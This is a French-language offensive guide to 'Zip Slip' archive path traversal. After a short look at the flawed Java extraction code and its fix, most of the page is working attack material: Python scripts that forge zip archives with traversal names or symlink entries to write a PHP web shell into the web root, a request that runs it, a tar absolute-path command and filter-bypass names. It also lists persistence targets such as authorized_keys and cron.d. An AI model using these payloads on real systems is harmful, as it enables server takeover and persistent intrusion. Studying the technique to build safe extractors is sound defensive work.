Lorsqu'une application décompresse une archive uploadée sans résoudre le chemin final de chaque entrée, une entrée nommée avec des séquences de traversée ou un chemin absolu est écrite hors du répertoire d'extraction prévu. L'attaquant choisit où les octets atterrissent : un script servi par le web, un binaire sur le PATH, un fichier cron, ou une configuration que le service lit.
Le schéma défectueux#
Les extracteurs vulnérables joignent le répertoire de destination au nom brut de l'entrée et ne vérifient jamais que le résultat reste à l'intérieur de la destination. En Java, ZipInputStream renvoie entry.getName() verbatim :
ZipEntry entry = zis.getNextEntry();
File out = new File(destDir, entry.getName()); // "../" is honored
FileOutputStream fos = new FileOutputStream(out); // writes outside destDir
Comme new File(destDir, "../../x") se résout au-dessus de destDir, l'écriture s'échappe. Le code sûr canonicalise out.getCanonicalPath() et confirme qu'il commence par le destDir canonique, ce que le chemin défectueux omet précisément.
Forger une entrée de traversée#
Les formats d'archive stockent le nom d'entrée comme une simple chaîne, donc les séquences de traversée passent directement. Construisez un zip dont le nom de membre remonte et atterrit sur un fichier servi par le web :
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr('../../../../var/www/html/shell.php',
'<?php system($_GET["c"]); ?>')
À l'extraction, le shell est écrit sous la racine web. Requêtez-le pour l'exécuter :
GET /shell.php?c=id HTTP/1.1
Chemins absolus#
Certains archiveurs (tar plus anciens, et bibliothèques zip qui ne suppriment pas une barre oblique de tête) honorent un nom de membre absolu, abandonnant la danse relative/traversée :
# tar entry with an absolute path
tar -cf evil.tar -C / -P /var/www/html/shell.php
GNU tar a besoin de -P/--absolute-names pour créer et extraire un tel membre, que certains wrappers côté serveur passent par défaut.
Cibles d'écriture à forte valeur#
Avec une écriture arbitraire, choisissez un chemin qui donne l'exécution ou la persistance :
/var/www/html/shell.phpou le répertoire statique de l'application, pour un web shell.~/.ssh/authorized_keys, pour ajouter une clé.- Un dépôt cron tel que
/etc/cron.d/xpour une exécution de commande planifiée. - Un binaire ou script existant sur le
PATHdu service, pour détourner la prochaine exécution. - Écraser les JAR de l'application,
.env, ou des templates que le processus recharge.
Variante symlink#
Une seconde classe abuse des liens symboliques à l'intérieur de l'archive : une entrée symlink pointant vers un répertoire hors de la racine de décompression, suivie d'une entrée régulière sous ce lien, de sorte que l'écriture atterrit à la cible du lien. Les deux entrées doivent être préservées dans l'ordre, ce qu'un double ajout zip ne fait pas (il met à jour le membre existant), donc construisez l'archive avec un outil qui conserve des entrées ordonnées :
import zipfile
z = zipfile.ZipFile("evil.zip", "w")
# 1) a symlink entry 'evil' -> /var/www/html
info = zipfile.ZipInfo("evil"); info.external_attr = (0o120777) << 16
z.writestr(info, "/var/www/html")
# 2) a regular entry written through it
z.writestr("evil/shell.php", "<?php system($_GET['c']); ?>")
z.close()
Sur les extracteurs qui recréent le symlink avant d'écrire les membres suivants, evil/shell.php est écrit à travers le lien dans /var/www/html. Les variantes orientées lecture pointent le symlink vers /etc/passwd de sorte qu'un aperçu ultérieur ou un re-téléchargement du chemin archivé renvoie le contenu de la cible du lien.
Archives imbriquées et mixtes#
Les noms fortement préfixés (....//....//) viennent à bout de la suppression naïve de ../ en une seule passe, car retirer un ../ laisse une autre séquence valide :
....//....//....//var/www/html/shell.php
Les mêmes noms d'entrées fonctionnent à travers zip, tar, jar, war, et de nombreux décompresseurs spécifiques à un langage, puisque la faille est dans le code d'extraction, pas dans le format.
Outils#
- Burp Suite : Repeater pour uploader des archives forgées.
- evilarc : génère des archives avec des entrées de path traversal.
- Forge manuelle d'archives avec les modules Python
zipfileettarfile.